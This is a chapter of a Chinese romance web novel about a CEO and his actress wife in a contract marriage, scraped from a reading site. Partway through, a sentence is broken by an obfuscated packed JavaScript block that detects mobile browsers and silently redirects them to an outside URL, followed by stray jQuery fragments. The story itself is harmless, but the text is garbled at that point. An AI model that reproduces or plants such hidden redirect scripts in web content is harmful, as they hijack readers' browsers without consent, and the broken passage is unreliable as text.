默认冷灰
24号文字
方正启体

39. 打算

作者:粟砚宁本书字数:K更新时间:
    阳光明媚,万里无云,清风徐来,花香阵阵,实在是一个美好的日子。


    在这样美好的日子里,肯定不会发生什么不好的事情,比如被开除。李盛很侥幸地想。


    今天的老板和以前没有什么区别,还是在同一时间出门,还是一上车就拿起报表仔细看了起来。但有一点不一样,很细微,但是他发现了——老板平时工作时总是不自觉皱起的眉头,此刻却是平展的,唇虽然仍旧抿着,但弧度似乎是向上的。


    他收回从后视镜窥视的视线,心稍稍松了一下,还没来得及呼气,就听见背后骤然响起的声音,很简单,很平静,只有两个字:“李盛。”却吓得他太阳穴猛地跳了一下。


    “是!”他下意识正襟危坐,握住方向盘的手不由收紧了,手心隐约渗出汗来。


    和老板工作这么些年,他知道他是一个情绪内敛,只做不说的人,同时作为贺家优秀的继承人,他也完美继承了贺家的优良传统——重视颜面,而昨天那些话,在他看来,显然是让他失了比命还重要的面子,他要惩罚,他心甘情愿。


    “你月薪多少?”


    听到这出乎意料的话,李盛愣了一秒,虽然奇怪,还是恭敬回答:“四万。”


    贺迟砚放下报表,敛眸似乎在思索什么,李盛不由自主又咽了口唾沫。难道是要扣工资?


    “有涨过薪么?最近一次涨薪是什么时候?”


    “有…有的。基本上每一年都会涨。最近一次涨薪是今年二月份的时候,因为陪您在公司加班加点忙了半个多月,所以您把我的工资从三万五涨到了四万。”


    李盛小心谨慎地回答完,悄悄抬眼从后视镜瞄了一眼,可惜他道行太浅,并不能从那张平静的姣好面容上窥见一丝一毫的端倪,只是看见他轻启唇:“你在我身边也有五年了,月薪调到五万吧。还有你姑姑女儿上学的事情,我会找人去办。以后有事直接说就行,不过一句话的事,不需要这么纠结。”姿态、语气是独属于上位人漫不经心的优雅。


    李盛险些一脚刹车踩下去,反应过来后,忙喜笑颜开地道谢:“谢谢贺总!”


    看来他昨天是做对了。


    没给李盛太多感动的时间,贺迟砚修长的手指轻敲报表,言简意赅:“今天的日程安排。”


    李盛也收敛激动,冷静回答:“由于今天七点要参加季老先生的寿宴,所以日程只安排到了五点,十点有一个跨国会议。具体日程早上九点……”


    “等一下,你重新安排一下,把下午的日程推到明天。中午,”贺迟砚嘴角微扬,“我要回家。”


    “不过要先去趟超市,昨天东西吃得都差不多了。”他小声嘀咕着。


    李盛看着后视镜里老板那不加修饰的温柔笑容,也情不自禁地笑了起来,“不如早点回去和夫人一起去多好啊!你推着车,夫人挎着你的手臂,想想都美得很啊!”


    贺迟砚的眼前似乎真的浮现出了这样的画面,甜蜜、温馨,向往。他的爸爸妈妈也是如此,小时候他看着,就在幻想有一天他和他所爱的夫人也能如此。他想,到时候,他肯定很幸福,无与伦比的幸福。


    可是,“她愿意吗?”


    “怎么会不愿意?”李盛听出贺迟砚的犹豫与退却,积极出声相劝,“夫人来苏黎世这么久都没有出去逛过呢,她肯定会同意的。借用你的一句话——做生意最重要的就是勇于尝试,其实感情也是。幸福不是守株待兔能够等来的,要主动出击才是啊!”


    贺迟砚似乎是恍然大悟了,笑着对上李盛的眼睛,打趣一句:“这难道就是你为什么你比我小一岁,就有一个两岁女儿的原因吗?”


    李盛骄傲地扬起头。


    “没错!所以在这事上你要听我的才是。”


    又是这句话。


    纪鹤晚不耐烦地跪坐在沙发上,顺手拿起抱枕当沙包,狠狠锤了几拳。但拳头砸在棉花上的感觉,实在让人难受,她气得直接把抱枕扔了出去。


    “朴以蓝!你就只会说风凉话!你小说看多了吧,天天想着什么先婚后爱,你看看现实生活中几个联姻对象真正爱了?!”


    “……就算没爱,人家不也一起生活得好好的嘛。而且贺迟砚比一般人好多了好吧,你干嘛非想着要和他离婚?”


    “我也想和他好好过啊!可是,他就是我璀璨星途上的一块绊脚石!我和李文柏的那部剧,本来说好了,等我回国就签合同,六月底开机,结果今天给我甩了一个通知,说……说综合考虑下,觉得我不适配这部剧。我问了八百遍之后,他们才说,是担心已、婚的我和李文柏炒CP,观众不买账,影响收视率!我就奇怪了,这年头,收视率不靠剧情,不靠演技,专靠谁炒CP炒得猛吗?!”


    电话那头的朴以蓝被纪鹤晚的滔天怒气震得耳朵发麻。她揉了揉,十分无奈地吐出一口气,耐着性子劝慰:“你自己也知道,那是剧组的问题,就别拿我们可怜的贺总出气了。而且现在风气就是这样,我们总得适应才是啊。”


    “我知道。”纪鹤晚稍稍平复下来,但嘶哑的声音还是有些颤抖,“但那可是李文柏啊!现在像我一样又有颜值、又有演技、又有流量的演员可不多了,而且当初明明是他们先抛出的橄榄枝,我连后面的档期都空出来了,现在弄成这样,我能不气么!我肯定要把这个导演拉入黑名单!”


    “嗯!我也要把他拉入黑名单!”朴以蓝笑了笑,放柔语气,“好了好了,我们的小公主就别生气了,像这样的人,咱不和他们拍戏才对,指不定明天就塌房了。至于空下来的档期,刚好咱们很久都没有旅行了,不如就趁这个机会好好放松放松,怎么样?”


    牢骚已经发完了,纪鹤晚躺在沙发上,迎着透窗洒落的和煦阳光观赏自己的芊芊玉指,懒洋洋地应了一声,“我会把礼物送给季老爷爷,替你和叔叔表达对他的祝福的。还有,你参加巴黎时装周的定制礼服已经做好了,然然让你抽空去看一眼,试一下。”


    “好。那就谢谢我们小纪总啦!作为报答回来请你吃好吃的。”


    听到报答两个字,纪鹤晚的眼睛突然亮了,“不用请客,我现在就能给你一个报答我的机会……”


    贺迟砚在门外站了有十五分钟,此刻还在踌躇着,就算签价值十五亿的并购案时,他的心都没有这么紧张过,七上八下的,一会儿像是要冲破天灵盖,一会儿又像坠入脚底心。


    他靠在冰冷的墙壁上,闭眼,深深吸了一口气,低念李盛传授给他的咒语:“主动才有故事,不要脸才有后续,幸福需要争取。”


    睁眼,握上门把手,开门。


    他的妻子,正盘腿坐在沙发上,把手机举在眼前,聚精会神地看着什么,一点都没有注意到有人推门而进。


    他没有走近,倚在墙上静静注视着她。窗帘被拉上了,只有一小束光柱从缝隙中射入,恰好在她的头顶之上,光柱中飘浮着细小


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448389|185201||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的尘埃,像是流转的璀璨星河。


    这就是他所追求的幸福——远远地看着她展露笑颜,只不过人都是贪心的,他想,靠近一点,再靠近一点,直到能看见她琥珀般的眼眸里凝结一个小小的他。


    封闭的空间很是寂静,贺迟砚看了看手表,提步正要走过去,却听见一声哈哈嗯嗯的喘息声。他移开目光,心里某处有些发烫,烫得他耳根都烧了起来。他悄悄退到玄关处,故意发出声响,等他再走出时,她已经把手机倒扣在桌面上,侧过头来看他。


    “你……你怎么这个时候回来了?”


    她的声音有些发紧,脸颊在那一束微光的照抚下,红润得别样可爱。


    “今天,公司不忙。”他一手握拳抵在唇边,低低咳嗽了一声,比起纪鹤晚,反而更像在掩饰什么。


    “差不多该吃午饭了,我想去超市买点食材,你……要一起吗?”


    贺迟砚的声音有些低,晃神的纪鹤晚没有听清。她满脑子都是——她为什么要做贼心虚地把手机倒扣,这只是她的工作需要而已?这么一来,搞得她好像在做什么难为情的事情一样……


    下意识的解释悬在舌尖,又被纪鹤晚咽了回去。她学着贺迟砚的样子,抵住嘴巴,轻咳一声:“你刚才说什么?我没有听清。”


    如果是以往,贺迟砚绝不会再重复自己的请求,可李盛的话如魔音贯耳,他缓了缓,走近了些,声音也放大了:“我想去超市买点食材做午饭,你要和我一起吗?”


    “好啊。我去换个衣服。”纪鹤晚没有迟疑,一口应答下来。刚好她也确实需要去外面透透气。


    郁晴虹把她结婚以来损失的资源整理得非常详细,她看一眼,差点没原地爆炸,李文柏的事也不过是个引子。


    按理说,事情根本不会发展成这么严峻的地步,娱乐圈里结婚的女明星不在少数,虽说事业或多或少都受到了影响,但损失不会像她这样惨重。


    她知道原因是什么。因为贺家,或者更明确些,因为贺泽明——贺迟砚的爷爷。


    当年他逼迫刚成为三金影后的虞梦晗放弃如火如荼的事业,退出娱乐圈,可谓是众所周知,哪怕过了几十年了也依然是谈资。


    贺家企业涉猎广泛,却从不碰娱乐圈,也是因为他。贺泽明对娱乐圈足以用憎恶来形容。据小道消息说,几年前,贺家一个小辈被星探发掘,参演一部电影,投资将近一亿的电影,至今被压,而那个小辈从此也在娱乐圈销声匿迹。


    而身为贺家儿媳妇的她,在外界眼中必然会和虞梦晗一个结局,又何必把宝贵的资源浪费在她身上。这些,她都知道。正是因为如此,所以才会觉得不公平。和她的婚姻,贺迟砚根本就没有损失什么,而她的梦想却几乎夭折,饶是她想把他当做受害者都做不到。


    想着,纪鹤晚不由叹出一口气,从抽屉里拿出那张皱皱巴巴的协议,看着贺迟砚的签名,粉唇还是紧抿的。


    她在这份协议上,在【第九条:双方承诺,在婚姻存续期间,互不干涉对方的事业发展、社交活动及私人生活空间。】后,又加了一行字:对于甲方因婚姻问题而造成的损失,乙方要予以相应赔偿。


    她忘了和贺迟砚说,但他身为商人,肯定把这份协议,或者说是合同,一个字都不落地仔细研读了好几遍,他既然签了字就说明他没有任何意见。她也已经让郁晴虹去算她这些日子的损失。这场婚姻里,她总不能一直在吃亏。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)